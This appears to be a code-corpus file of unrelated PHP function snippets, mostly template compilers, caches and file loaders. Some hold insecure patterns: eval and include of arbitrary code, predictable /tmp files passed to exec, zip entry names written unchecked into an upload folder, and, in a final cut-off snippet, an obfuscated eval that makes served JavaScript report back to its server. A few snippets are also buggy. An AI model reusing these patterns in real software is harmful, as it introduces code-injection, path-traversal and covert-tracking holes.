{\n\t\t\t$code_issue_replace = true;\n\t\t}\n\t\t$files = $this->files();\n\t\tforeach ( $files as $file ) {\n\t\t\t$code = file_get_contents($file);\n\t\t\t$issues = $this->code_issue_find($code);\n\t\t\tif (!empty($issues)) {\n\t\t\t\tif ($code_issue_replace) {\n\t\t\t\t\t$this->code_issue_replace($file, $code);\n\t\t\t\t} else {\n\t\t\t\t\t$this->out($file);\n\t\t\t\t\tprint_r($issues);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function loadFromCache (CachingFileCompiler $cache, $sourceFile);", "final function getCode();", "public function evalFile(string $src): CompiledFile;", "function betterEval($code) {\n $result = [];\n $tmp = tmpfile ();//file resource\n //we'll need to uri to include the file:\n $tmpMeta = stream_get_meta_data ( $tmp );\n $uri = $tmpMeta ['uri'];\n fwrite ( $tmp, $code );\n \n ob_start();\n $start = microtime(true);\n //anonymously, so our scope will not be polluted (very optimistic here, ofc)\n call_user_func(function() use ($uri) {\n include ($uri);\n }); \n \n $result['time'] = microtime(true) - $start;\n $result['output'] = ob_get_clean(); \n $result['length'] = strlen($result['output']);\n $result['lengthCharacters'] = mb_strlen($result['output']);\n $result['dbg'] = [\n 'fileUri' => $uri\n ];\n fclose ( $tmp );\n return $result;\n}", "abstract function processCode(array $replacePairs, array $fileSpecificReplacePairs, array &$unusedReplacePairs, array&$unusedFileSpecificReplacePairs);", "private static function runCompile(string $path, $namespace)\n {\n // path was returned ?\n if (!is_null($path))\n {\n $filename = basename($path);\n\n $cachename = md5($path) . '.php';\n\n if (file_exists($path))\n {\n // yes we read its content.\n $content = file_get_contents($path);\n\n $default = $content;\n\n $continue = true;\n $json = read_json(__DIR__ . '/hyphe.paths.json', true);\n \n if (file_exists(self::$cacheDir . $cachename))\n {\n $_content = file_get_contents(self::$cacheDir . $cachename);\n\n $start = strstr($_content, 'public static function ___cacheData()');\n\n preg_match('/(return)\\s{1,}[\"](.*?)[\"]/', $start, $return);\n\n if (count($return) > 0)\n {\n $cached = $return[2];\n\n if ($cached == md5($default))\n {\n $continue = false;\n }\n }\n\n // clean up\n $_content = null;\n $return = null;\n }\n \n if ($continue)\n {\n $content = '<!doctype html><html><body>'.$content.'</body></html>';\n \n // read dom\n $html = new HTML5();\n $dom = $html->loadHTML($content);\n\n $replaces = [];\n $engine = new Engine();\n\n $cachesize = md5($default);\n\n foreach ($dom->getElementsByTagName('hy') as $hy)\n {\n if ($hy->hasAttribute('directive'))\n {\n $class = $hy->getAttribute('directive');\n // inner content\n $body = self::innerHTML($hy);\n\n $classMap = [];\n $classMap[] = '<?php';\n if ($namespace != '')\n {\n $classMap[] = 'namespace '.$namespace.';';\n }\n else\n {\n $namespace = rtrim($path, $filename);\n $namespace = preg_replace('/^(\\.\\/)/','',$namespace);\n $namespace = rtrim($namespace, '/');\n $namespace = str_ireplace('/static/', '/', $namespace);\n $namespace = str_replace(HOME, '', $namespace);\n $namespace = preg_replace('/[\\/]{2,}/', '/', $namespace);\n $namespace = str_replace('/', '\\\\', $namespace);\n $classMap[] = 'namespace '.$namespace.';';\n }\n \n $classMap[] = 'class '.ucfirst($class). ' extends \\Hyphe\\Engine {';\n $classMap[] = html_entity_decode($body);\n $classMap[] = 'public static function ___cacheData()';\n $classMap[] = '{';\n $classMap[] = ' return \"'.$cachesize.'\";';\n $classMap[] = '}';\n $classMap[] = '}';\n\n $replaces[] = [\n 'replace' => $dom->saveHTML($hy),\n 'with' => implode(\"\\n\\t\", $classMap)\n ];\n }\n else\n {\n $out = $dom->saveHTML($hy);\n $inner = self::innerHTML($hy);\n\n if ($hy->hasAttribute('func'))\n {\n $funcName = $hy->getAttribute('func');\n $access = $hy->hasAttribute('access') ? $hy->getAttribute('access') : 'public';\n $args = $hy->hasAttribute('args') ? $hy->getAttribute('args') : '';\n\n $func = [];\n $func[] = $access .' function '. $funcName . '('.$args.')';\n $func[] = '{';\n $func[] = html_entity_decode($inner);\n $func[] = '}'; \n\n $replaces[] = [\n 'replace' => html_entity_decode($out),\n 'with' => implode(\"\\n\\t\", $func)\n ];\n }\n else\n {\n if ($hy->hasAttribute('lang'))\n {\n $lang = $hy->getAttribute('lang');\n\n switch (strtolower($lang))\n {\n case 'html':\n\n // interpolate props and this\n $inner = preg_replace('/(props)[.]([a-zA-Z_]+)/', '$this->props->$2', $inner);\n $inner = preg_replace('/(this)[.]([a-zA-Z_]+)/', '$this->$2', $inner);\n\n $inner = html_entity_decode($inner);\n\n $engine->interpolateExternal($inner, $data);\n $return = [];\n $return[] = '$assets = $this->loadAssets();';\n $return[] = '?>';\n $return[] = $data;\n $return[] = '<?php';\n\n // add replace\n $replaces[] = [\n 'replace' => html_entity_decode($out),\n 'with' => implode(\"\\n\\t\", $return)\n ];\n break;\n }\n } \n }\n }\n }\n\n if (isset($replaces[0]))\n {\n $default = $replaces[0]['replace'];\n\n $count = count($replaces);\n\n $default = preg_replace('/(\\S+)(=\\s*)[\\'](.*?)[\\']/', '$1$2\"$3\"', $default);\n\n $default = self::removeClosingTags($default);\n\n for ($x = 0; $x != $count; $x++)\n {\n $replace = self::removeClosingTags($replaces[$x]['replace']);\n $with = self::removeClosingTags($replaces[$x]['with']);\n\n if ($x == 0)\n {\n $default = $with;\n }\n\n $default = str_replace($replace, $with, $default);\n }\n\n // interpolate props and this\n $default = preg_replace('/(props)[.]([a-zA-Z_]+)/', '$this->props->$2', $default);\n $default = preg_replace('/(this)[.]([a-zA-Z_]+)/', '$this->$2', $default);\n\n\n if (!is_dir(self::$cacheDir))\n {\n mkdir(self::$cacheDir);\n }\n\n // save cache file and return path\n file_put_contents(self::$cacheDir . $cachename, $default);\n\n // push to json\n $json[$cachename] = $namespace;\n save_json(__DIR__ . '/hyphe.paths.json', $json);\n }\n }\n }\n \n return self::$cacheDir . $cachename;\n }\n\n return null;\n }", "function _tpl_load($handle)\n\t{\n\t\tglobal $config, $user, $db;\n\n\t\t// If we don't have a file assigned to this handle, die.\n\t\tif ( !isset($this->files[$handle]) )\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'template->_tpl_load(): No file specified for handle ' . $handle, '', __LINE__, __FILE__);\n\t\t}\n\n\t\t// get the file name\n\t\t$w_filename = str_replace('/', '_', $this->filename[$handle]);\n\t\t$filename = ($this->mains[$handle] ? $this->alt_cacheprefix : $this->cacheprefix) . $w_filename . '.' . $config->ext;\n\n\t\t// Recompile page if the original template is newer, otherwise load the compiled version\n\t\tif ( !empty($this->compiled_code[$handle]) )\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ( !$config->data['cache_disabled_template'] && @file_exists($filename) && (!$config->data['cache_check_template'] || (@filemtime($filename) > @filemtime($this->files[$handle]))) )\n\t\t{\n\t\t\treturn $filename;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpl_load_file($handle);\n\t\t}\n\t\treturn false;\n\t}", "protected static function cacheAndLoad($class, $code)\n {\n if (!isset(self::$cachePath)) return false;\n \n $filename = self::$cachePath . '/' . strtr($class, '\\\\_', '//') . '.php';\n\n if (!file_exists(dirname($filename))) mkdir(dirname($filename), 0777, true);\n if (!file_put_contents($filename, $code)) return false;\n \n include $filename;\n return true;\n }", "public static function computeHashFromSource(string $path): string\n {\n $lines = self::sourceAsLines($path);\n\n return self::computeHashFromLines($lines);\n }", "private function optimizePhpFile($fileName) {\n\t\t$charPos = 0;\n\t\tif(!file_exists($fileName)) {\n\t\t\ttrigger_error(\"Invalid file name. File does not exist.\", E_USER_ERROR);\n\t\t\texit;\n\t\t}\n\t\telse {\n\t\t\t$fileContentsArray = file($fileName);\n\t\t\tfor($i=0; $i<count($fileContentsArray); $i++) {\n\t\t\t\t\n\t\t\t\tif(trim($fileContentsArray[$i]) == '') {\n\t\t\t\t\t$this->arrayOfChanges[] = 'emptyLine';\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$whiteSpaces = '';\n\t\t\t\t\tfor($j=0; $j<strlen($fileContentsArray[$i]); $j++) {\n\t\t\t\t\t\tif(ord($fileContentsArray[$i][$j]) != 9 || ord($fileContentsArray[$i][$j]) != 32) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t$whiteSpaces .= $fileContentsArray[$i][$j];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$this->optimizedFileContents .= \" \".trim($fileContentsArray[$i]).\"\\r\\n\";\n\t\t\t\t}\n\t\t\t}\t\t\t\t\t\t\n\t\t}\n\t\treturn true;\n\t}", "private function hydrate_affiliate_code() {\n\t\tif ( Options::get_affiliate_code() ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( FileSystem::file_exists( $file_name ) ) {\n\t\t\t$affiliate_code = trim( FileSystem::get_content( $file_name ) );\n\t\t\tadd_option( 'hubspot_affiliate_code', $affiliate_code );\n\t\t}\n\t}", "public function getCode()\n {\n if ( $this->isInternal() ) {\n $code = '/* ' . $this->getName() . ' is an internal function.'\n . ' Therefore the source code is not available. */';\n } else {\n $filename = $this->getFileName();\n\n $start = $this->getStartLine();\n $end = $this->getEndLine();\n\n $offset = $start - 1;\n $length = $end - $start + 1;\n \n $lines = array_slice( file( $filename ), $offset, $length );\n\n if ( strpos( trim( $lines[0] ), 'function' ) !== 0 ) {\n $lines[0] = substr( $lines[0], strpos( $lines[0], 'function' ) );\n }\n\n $code = implode( '', $lines );\n }\n return $code;\n }", "protected function loadHash()\n {\n $this->valueHash = $this->calculateHash();\n }", "public static function hashFileContent($data) {\n // build of PHP. It's fine if we're unable to generate a content hash:\n // it just means we'll store extra data when users upload duplicate files\n // instead of being able to deduplicate it.\n\n $hash = hash('sha256', $data, $raw_output = false);\n if ($hash === false) {\n return null;\n }\n\n return $hash;\n }", "public function & SetCompiled ($compiled = '');", "public function process(File $phpcsFile, $stackPtr)\r\n {\r\n // nothing to do here and will never be called\r\n }", "function compiled($file=null)\n { \n if ($file) {\n return $this->_methodWrapper($file,'compiled');\n }\n return $this->_objectPool[$this->_lastUsedObjectKey]->compiled();\n }", "public function generateInitCode();", "public function compile($path = null)\n {\n if ($path) {\n $this->setPath($path);\n }\n\n $contents = $this->compileString($this->files->get($this->getPath()));\n\n if (!is_null($this->cachePath)) {\n $this->files->put($this->getCompiledPath($this->getPath()), $contents);\n }\n }", "public function GetCompiled ();", "protected function compileAndCache(CompilerInterface $compiler, $path, $inputFile)\n {\n return $this->cacheFileContents($path, $compiler->compileFile($inputFile), $compiler->getCurrentImportPaths());\n }", "protected function LoadData()\n\t{\n\t\t$commit = $this->GetProject()->GetCommit($this->params['hashbase']);\n\t\t$this->tpl->assign('commit', $commit);\n\n\t\t$tree = $commit->GetTree();\n\t\t$this->tpl->assign('tree', $commit->GetTree());\n\n\t\tif ((!isset($this->params['hash'])) && (isset($this->params['file']))) {\n\t\t\t$this->params['hash'] = $tree->PathToHash($this->params['file']);\n\t\t\tif (empty($this->params['hash']))\n\t\t\t\tthrow new GitPHP_FileNotFoundException($this->params['file']);\n\t\t}\n\n\t\t$blob = $this->GetProject()->GetObjectManager()->GetBlob($this->params['hash']);\n\t\tif (!empty($this->params['file']))\n\t\t\t$blob->SetPath($this->params['file']);\n\t\t$blob->SetCommit($commit);\n\t\t$this->tpl->assign('blob', $blob);\n\n\t\tif ($this->Plain()) {\n\t\t\treturn;\n\t\t}\n\n\t\t$head = $this->GetProject()->GetHeadCommit();\n\t\t$this->tpl->assign('head', $head);\n\n\t\tif ($this->config->GetValue('filemimetype')) {\n\t\t\t$mimeReader = new GitPHP_FileMimeTypeReader($blob, $this->GetMimeStrategy());\n\t\t\t$mimetype = $mimeReader->GetMimeType(true);\n\t\t\tif ($mimetype == 'image') {\n\t\t\t\t$this->tpl->assign('datatag', true);\n\t\t\t\t$this->tpl->assign('mime', $mimeReader->GetMimeType());\n\t\t\t\t$this->tpl->assign('data', base64_encode($blob->GetData()));\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tif ($this->config->GetValue('geshi')) {\n\t\t\tinclude_once(GITPHP_GESHIDIR . \"geshi.php\");\n\t\t\tif (class_exists('GeSHi')) {\n\t\t\t\t$geshi = new GeSHi(\"\",'php');\n\t\t\t\tif ($geshi) {\n\t\t\t\t\t$lang = GitPHP_Util::GeshiFilenameToLanguage($blob->GetName());\n\t\t\t\t\tif (empty($lang)) {\n\t\t\t\t\t\t$lang = $geshi->get_language_name_from_extension(substr(strrchr($blob->GetName(),'.'),1));\n\t\t\t\t\t}\n\t\t\t\t\tif (!empty($lang)) {\n\t\t\t\t\t\t$geshi->enable_classes();\n\t\t\t\t\t\t$geshi->enable_strict_mode(GESHI_MAYBE);\n\t\t\t\t\t\t$geshi->set_source($blob->GetData());\n\t\t\t\t\t\t$geshi->set_language($lang);\n\t\t\t\t\t\t$geshi->set_header_type(GESHI_HEADER_PRE_TABLE);\n\t\t\t\t\t\t$geshi->enable_line_numbers(GESHI_NORMAL_LINE_NUMBERS);\n\t\t\t\t\t\t$geshi->set_overall_id('blobData');\n\t\t\t\t\t\t$this->tpl->assign('geshiout', $geshi->parse_code());\n\t\t\t\t\t\t$this->tpl->assign('geshicss', $geshi->get_stylesheet());\n\t\t\t\t\t\t$this->tpl->assign('geshi', true);\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$this->tpl->assign('bloblines', $blob->GetData(true));\n\t}", "protected function restoreHaltCompilerData($code, &$tokens, &$endLine)\n {\n $i = end($tokens);\n\n if (T_HALT_COMPILER !== $i[0]) {\n return;\n }\n\n $i = key($tokens);\n\n for ($j = 0, $k = 0; $j <= $i; ++$j, ++$k) {\n if (isset($tokens[$j][1])) {\n $k += isset($tokens[$j][2]) ? strlen($tokens[$j][1])-1 : 1;\n }\n }\n\n if (isset($code[$k])) {\n $tmp = '<?php '.str_repeat(\"\\n\", $endLine-1).' @'.substr($code, $k);\n $tmp = preg_replace('/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F]/', '\\\\', $tmp);\n $tmp = token_get_all($tmp);\n\n for ($i = 0, $j = 3; $i < 3 && isset($tmp[$j]); ++$i, ++$j, ++$k) {\n if (T_NS_SEPARATOR !== $tmp[$j][0] || '\\\\' === $code[$k]) {\n if (isset($tmp[$j][2])) {\n $endLine = $tmp[$j][2] + substr_count($tmp[$j][1], \"\\n\");\n $k += strlen($tmp[$j][1]) - 1;\n if (in_array($tmp[$j][0], self::$asemantics)) {\n --$i;\n }\n } elseif ('b\"' === $tmp[$j]) {\n ++$k;\n }\n } else {\n $tmp[$j][0] = T_BAD_CHARACTER;\n $tmp[$j][1] = $code[$k];\n }\n\n $tokens[] = $tmp[$j];\n }\n }\n\n if (isset($code[$k])) {\n $tmp = substr($code, $k);\n $tokens[] = array(T_INLINE_HTML, $tmp, $endLine);\n $endLine += substr_count($tmp, \"\\n\");\n }\n }", "function compile($name, $code = false)\n {\n\t\tif (!$code)\n\t\t{\n\t\t\t$code = file_get_contents($this->template_dir.$name);\n\t\n\t\t\tif ($code === false)\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\tpreg_match_all('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code, $tag_blocks);\n\t\t$content_blocks = preg_split('/\\<!--[ ]*(.*?) (.*?)?[ ]*--\\>/', $code);\n\n\t\t$size = count($content_blocks);\n\n\t\t$parse_content = $compile = true;\n\t\t$tag_holding = array();\n\t\t$line = 1;\n\r\n\t\tfor ($loop = 0; $loop < $size; $loop++)\r\n\t\t{\n\t\t\t$line += substr_count($content_blocks[$loop], \"\\n\");\n\n\t\t\tif (!$compile)\n\t\t\t{\n\t\t\t\tif (strtoupper(trim($tag_blocks[1][$loop])) == 'ENDIGNORE')\n\t\t\t\t{\n\t\t\t\t\t$compile = true;\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($parse_content)\n\t\t\t{\n\t\t\t\t$content_blocks[$loop] = $this->_parse_content($content_blocks[$loop]);\n\t\t\t}\n\n\t\t\tif (empty($tag_blocks[1][$loop]))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tswitch (strtoupper(trim($tag_blocks[1][$loop])))\r\n\t\t\t{\n\t\t\t\tcase 'IF':\n\t\t\t\t\t$this->_tag_holding_add('IF', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\r\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } else { ?>';\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ELSEIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_view();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_if($tag_blocks[2][$loop], true);\r\n\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase 'ENDIF':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'IF')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\r\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } ?>';\r\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'LOOP':\n\t\t\t\t\t$this->_tag_holding_add('LOOP', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_loop($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'LOOPELSE':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'LOOP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$this->_tag_holding_add('LOOPELSE', $line);\n\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php } } else { ?>';\n\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase 'ENDLOOP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != ('LOOP' || 'LOOPELSE'))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_endloop($tag_blocks[2][$loop], $last_tag['name']);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'PHP':\n\t\t\t\t\t$this->_tag_holding_add('PHP', $line);\n\n\t\t\t\t\t$parse_content = false;\n\t\t\t\t\t$tag_blocks[0][$loop] = '<?php ';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'ENDPHP':\n\t\t\t\t\t$last_tag = $this->_tag_holding_get();\n\t\t\t\t\t\n\t\t\t\t\tif (!$last_tag || $last_tag['name'] != 'PHP')\n\t\t\t\t\t{\n\t\t\t\t\t\t// Error here\n\t\t\t\t\t}\n\n\t\t\t\t\t$parse_content = true;\n\t\t\t\t\t$tag_blocks[0][$loop] = ' ?>';\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'INCLUDE':\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_include($tag_blocks[2][$loop]);\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_HEADER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_header(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DISPLAY_FOOTER':\n\t\t\t\t\t$tag_blocks[0][$loop] = \"<?php echo \\$_CLASS['core_display']->display_footer(); ?>\";\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'IGNORE':\n\t\t\t\t\t$compile = false;\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'DEFINE':\r\n\t\t\t\t\t$tag_blocks[0][$loop] = $this->_compile_tag_define($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tcase 'AREA':\r\n\t\t\t\t\t//$tag_blocks[0][$loop] = $this->_compile_tag_area($tag_blocks[2][$loop]);\r\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\t//$tag_blocks[0][$loop] = '<!-- '.$tag_blocks[1][$loop].' '.$tag_blocks[2][$loop].' -->';\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\n\n\t\t$this->_compiled_code = '';\n\t\t$size = count($content_blocks);\n\n\t\tfor ($loop = 0; $loop < $size; $loop++)\n\t\t{\r\n\t\t\t$this->_compiled_code .= $content_blocks[$loop] . (isset($tag_blocks[0][$loop]) ? $tag_blocks[0][$loop] : '');\r\n\t\t}\n\n\t\treturn true;\n }", "public function asCompiled();", "public function encodePhpFile($fileName) {\n\t\tif(file_exists($fileName)) {\n\t\t\t if($this->optimizePhpFile($fileName)) {\n\t\t\t\t $fileContentsArray = explode(\"\\r\\n\",$this->optimizedFileContents);\n\t\t\t\t for($i=0; $i<count($fileContentsArray); $i++) {\n\t\t\t\t\t $this->encodedFileContents .= $this->encodePhpCode($fileContentsArray[$i]).\"\\r\\n\";\n\t\t\t\t }\n\t\t\t }\n\t\t\t else{ \n\t\t\t\t trigger_error(\"Failed to optimize file on Line:\".__LINE__, E_USER_ERROR);\n\t\t\t\t exit;\n\t\t\t }\n\t\t }\n\t\t else {\n\t\t\t trigger_error(\"Invalid file name. File does not exist.\", E_USER_ERROR);\n\t\t\t exit;\n\t\t }\n\t\t$this->createEncodedFile($fileName);\n\t }", "function execute($filename, $code, $handle)\n\t{\n\t\tglobal $lang, $theme, $config;\n\t\t$template = $theme['template_name'];\n\t\tglobal ${$template};\n\t\t$theme_info = &${$template};\n\t\t$exclude_tpl_array = array('def_tree_def.tpl', 'rss_body.tpl');\n\t\t//die(basename($this->files[$handle]));\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' start -->';\n\t\t}\n\t\tif($filename)\n\t\t{\n\t\t\tinclude($filename);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/*\n\t\t\tdie($this->files[$handle]);\n\t\t\tdie($code);\n\t\t\t*/\n\t\t\teval($code);\n\t\t}\n\t\tif($config['xs_add_comments'] && $handle && !in_array(basename($this->files[$handle]), $exclude_tpl_array))\n\t\t{\n\t\t\techo '<!-- template ', $this->files[$handle], ' end -->';\n\t\t}\n\t\treturn true;\n\t}", "function MyApp_Setup_Files2Hash($paths,$files)\n {\n if (!is_array($paths)) { $paths=array($paths); }\n if (!is_array($files)) { $files=array($files); }\n\n $files=$this->ExistentPathsFiles($paths,$files);\n\n $hash=array();\n foreach ($files as $file)\n {\n $hash=$this->ReadPHPArray($file,$hash);\n }\n\n return $hash;\n }", "public function process(PHP_CodeSniffer_File $phpcsFile, $stackPtr)\n {\n $algo = $this->getHashAlgorithmParameter($phpcsFile, $stackPtr);\n if (empty($algo) || is_string($algo) === false) {\n return;\n }\n\n // Bow out if not one of the algorithms we're targetting.\n if (isset($this->newAlgorithms[$algo]) === false) {\n return;\n }\n\n // Check if the algorithm used is new.\n $errorInfo = $this->getErrorInfo($algo);\n\n if ($errorInfo['not_in_version'] !== '') {\n $this->addError($phpcsFile, $stackPtr, $algo, $errorInfo);\n }\n\n }", "public function compile($path)\n {\n $contents = $this->compileString($this->files->get($path));\n\n if (!is_null($this->cachePath)) {\n $this->files->put(\n $this->getCompiledPath($path),\n $this->compress ? $this->html_compress($contents) : $contents\n );\n }\n }", "function withFile($filename) {\n $this->code = file_get_contents($filename);\n return $this;\n }", "public function assemble($code)\n {\n if (strlen($code) < 10 * 1024 && $this->isSafeCode($code)) {\n // FIXME: This usage of /tmp/ files is NOT secure.\n // Random (hopefully unique) temporary file names.\n $tempnam = \"/tmp/\" . rand();\n // WARNING: So that GCC doesn't pipe the file through CPP (processing \n // macros, etc), the extension must be .s (lowercase) not .S (uppercase).\n $source_path = $tempnam . \".s\";\n $obj_path = $tempnam . \".o\";\n\n // Write the assembly source code.\n $asmfile = \".intel_syntax noprefix\\n_main:\\n\" . $code . \"\\n\";\n file_put_contents($source_path, $asmfile);\n\n $ret = 1;\n $output = array();\n\n // Assemble the source with gcc.\n exec(\"gcc $this->archTick -c $source_path -o $obj_path 2>&1\", $output, $ret);\n\n if ($ret == 0)\n {\n // Use objdump to disassemble it.\n exec(\"objdump -z -M intel -d $obj_path\", $output, $ret);\n\n if ($ret == 0)\n {\n $strout = implode(\"\\n\", $output);\n if (file_exists($source_path)) { unlink($source_path); }\n if (file_exists($obj_path)) { unlink($obj_path); }\n return Assembler::BuildStructuredOutput($strout);\n }\n else\n {\n if (file_exists($source_path)) { unlink($source_path); }\n if (file_exists($obj_path)) { unlink($obj_path); }\n throw new AssemblyFailureException(\"Something went wrong!\");\n }\n }\n else\n {\n $strout = implode(\"\\n\", $output);\n $strout = preg_replace('/\\\\/tmp\\\\/\\\\d+\\\\.s:(\\d+:|)\\s*/', \"\", $strout);\n $strout = str_replace(\"Assembler messages:\\n\", \"\", $strout);\n if (file_exists($source_path)) { unlink($source_path); }\n if (file_exists($obj_path)) { unlink($obj_path); }\n throw new AssemblyFailureException($strout);\n }\n\n } else {\n throw new UnsafeCodeException();\n }\n }", "private static function hash($path)\n {\n $hash = File::hash($path);\n\n if ($hash) {\n return $hash;\n }\n else {\n Debug::createError(\"View file '\".basename($path).\"' not found\",false,false,500);\n }\n }", "function unpack_to_return_the_exe($zip_location){\n $zip = new ZipArchive;\n $zip->open(realpath($zip_location)); //opens the zip file\n\n $result_array = array(\"file_to_obfuscate\" => '', \"dependencies\" => array());\n //defines the array return ^\n\n for ($i = 0; $i < $zip->numFiles; $i++) { //get all the files in the zip file\n $filename = $zip->getNameIndex($i); //get the name of the current file\n $info = pathinfo($filename); //path info of the file\n\n if($info[\"extension\"] == \"exe\"){ //in case the file is an exe, gen a random name to it and save it and link the name to the array return\n $file_to_obfuscate = \"uploads/\" . uniqid() . '.' . $info[\"extension\"];\n fwrite(fopen($file_to_obfuscate, \"w\"), $zip->getFromName($filename));\n $result_array[\"file_to_obfuscate\"] = $file_to_obfuscate;\n }\n else if($info[\"extension\"] == \"dll\"){ //add data foreach dll dependency\n $dll_dependency = \"uploads/\" . $filename;\n fwrite(fopen($dll_dependency, \"w\"), $zip->getFromName($filename));\n\n array_push($result_array[\"dependencies\"], $dll_dependency);\n }\n else {\n $zip->close();\n\n foreach(@$result_array[\"dependencies\"] as &$val)\n @unlink(realpath($val));\n //im not sure if the arrays are really defined, so i use @ to not throw exceptions\n\n @unlink($zip_location);\n @unlink($result_array[\"file_to_obfuscate\"]);\n @unlink(\"uploads/\" . $filename);\n\n die(\"there are files that arent .exe/.dll in the zip\");\n }\n }\n $zip->close();\n unlink($zip_location);\n\n return $result_array;\n}", "public function compile()\n\t{\n\t\tif ($this->dirty() and $this->compile)\n\t\t{\n\t\t\t$compiler = new Compiler($this, $this->app);\n\t\t\t$this->contents = $compiler->run();\n\t\t}\n\t}", "public function compile($path)\n {\n $file = $this->files->get($path);\n $contents = Template::compile($file);\n\n if (!is_null($this->cachePath))\n {\n $compiledPath = $this->getCompiledPath($path);\n\n $this->files->put($compiledPath, $contents);\n }\n }", "abstract protected function mapCode( $code );", "function pm_version_hash($file) {\n\tif(!$file) return false;\n\t$full_path = get_template_directory() . $file;\n\treturn hash_file('CRC32',$full_path);\n}", "static function sourceLinePhpToTht ($phpFilePath, $phpLineNum, $fnName) {\n\n $phpFilePath = Tht::normalizeWinPath($phpFilePath);\n\n $phpCode = file_get_contents($phpFilePath);\n\n // Reverse to make sure match is from bottom of file.\n $phpLines = array_reverse(\n explode(\"\\n\", $phpCode)\n );\n\n // Read the source map\n foreach ($phpLines as $l) {\n\n if (substr($l, 0, 2) === '/*') {\n\n $match = [];\n $sourceMapFound = preg_match('/SOURCE=(\\{.*})/', $l, $match);\n\n if ($sourceMapFound) {\n\n $sourceMap = json_decode($match[1], true);\n\n if ($fnName) {\n $phpLineNum = self::findRealSourceLineForFunctionCall($fnName, $phpLineNum, $phpLines);\n }\n\n // Go up the line numbers and find the nearest one with a mapping to THT\n $checkLineNum = $phpLineNum;\n while (true) {\n if (isset($sourceMap[$checkLineNum])) {\n return [\n 'lang' => 'tht',\n 'file' => $sourceMap['file'],\n 'lineNum' => $sourceMap[$checkLineNum],\n 'linePos' => null,\n 'lineSource' => '',\n ];\n }\n $checkLineNum -= 1;\n }\n\n break;\n }\n }\n }\n\n // Fall through to PHP frame\n return [\n 'lang' => 'php',\n 'lineNum' => $phpLineNum,\n 'file' => $phpFilePath,\n 'linePos' => -1,\n 'lineSource' => trim($phpLines[$phpLineNum]),\n ];\n }", "function getScript($filename)\n{\n\t\t$code = file_get_contents($filename);\n\t\t\t\n\t\t// Adds a check to report local copies back to the server\n\t\t$now = mktime();\n\t\t\n\t\t// The following is the equivalent of new Date().getTime():\n\t\t// eval('\\156\\145\\167\\40\\104\\141\\164\\145\\50\\51\\56\\147\\145\\164\\124\\151\\155\\145\\50\\51')\n\t\t// This is used to check if the cached/local copy is older than 12 months, which should\n\t\t// never be the case as the cache expires after 3 months 